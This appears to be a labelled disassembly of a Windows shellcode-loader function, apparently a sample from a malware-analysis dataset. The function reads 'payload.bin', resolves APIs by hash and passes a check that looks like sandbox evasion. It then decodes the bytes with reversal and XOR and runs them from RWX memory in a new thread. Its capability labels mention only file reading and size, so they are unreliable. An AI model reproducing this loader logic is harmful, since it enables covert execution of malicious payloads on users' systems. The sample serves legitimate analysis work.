Function at 0x1400012b0
Capabilities:
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0xe8
lea rax, str.payload.bin
mov qword [rsp + 0x88], rax
call fcn.140001000
mov edx, 0x2729f8bb
mov rcx, rax
call fcn.1400010f0
mov qword [rsp + 0xb8], rax
call fcn.140001060
mov edx, 0x1ede5967
mov rcx, rax
call fcn.1400010f0
mov qword [rsp + 0x78], rax
call fcn.140001000
mov edx, 0x2216afca
mov rcx, rax
call fcn.1400010f0
mov qword [rsp + 0xc8], rax
call fcn.140001000
mov edx, 0xbfadb781
mov rcx, rax
call fcn.1400010f0
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0xffffffffffffffff
jne 0x140001380
mov eax, 1
jmp 0x1400015d6
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x40], eax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x90], rax
movsxd rax, dword [rsp + 0x40]
mov r9d, 4
mov r8d, 0x1000
mov rdx, rax
xor ecx, ecx
call qword [rsp + 0x90]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
jne 0x1400013d2
mov eax, 1
jmp 0x1400015d6
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, dword [rsp + 0x40]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x98], rax
movsxd rax, dword [rsp + 0x40]
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
xor ecx, ecx
call qword [rsp + 0x98]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0xb0]
call qword [rsp + 0xa8]
cmp qword [rsp + 0xb0], 0x401640
jbe 0x140001570
mov eax, dword [rsp + 0x40]
cdq
and eax, 1
xor eax, edx
sub eax, edx
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x40]
cdq
sub eax, edx
sar eax, 1
mov ecx, dword [rsp + 0x70]
add ecx, eax
mov eax, ecx
cdqe
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x48], 0
jmp 0x1400014a1
mov rax, qword [rsp + 0x48]
inc rax
mov qword [rsp + 0x48], rax
movsxd rax, dword [rsp + 0x40]
cmp qword [rsp + 0x48], rax
jae 0x140001514
mov rax, qword [rsp + 0x80]
cmp qword [rsp + 0x48], rax
jae 0x1400014ed
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x80]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x58]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rsp + 0x68]
movzx eax, byte [rdx + rax - 1]
mov byte [rcx], al
jmp 0x140001512
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x68]
add rdx, rcx
mov rcx, rdx
movzx ecx, byte [rcx]
mov byte [rax], cl
jmp 0x140001494
mov qword [rsp + 0x50], 0
jmp 0x14000152c
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
movsxd rax, dword [rsp + 0x40]
cmp qword [rsp + 0x50], rax
jae 0x14000156e
mov rax, qword [rsp + 0x50]
inc rax
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
add rdx, rcx
mov rcx, rdx
movsx rcx, byte [rcx]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
add rdx, rcx
mov rcx, rdx
mov byte [rcx], al
jmp 0x14000151f
jmp 0x140001574
xor eax, eax
jmp 0x1400015d6
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x58]
xor edx, edx
xor ecx, ecx
call qword [rsp + 0xc0]
mov qword [rsp + 0xd0], rax
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0xd8], rax
mov edx, 0xffffffff
mov rcx, qword [rsp + 0xd0]
call qword [rsp + 0xd8]
xor eax, eax
add rsp, 0xe8
ret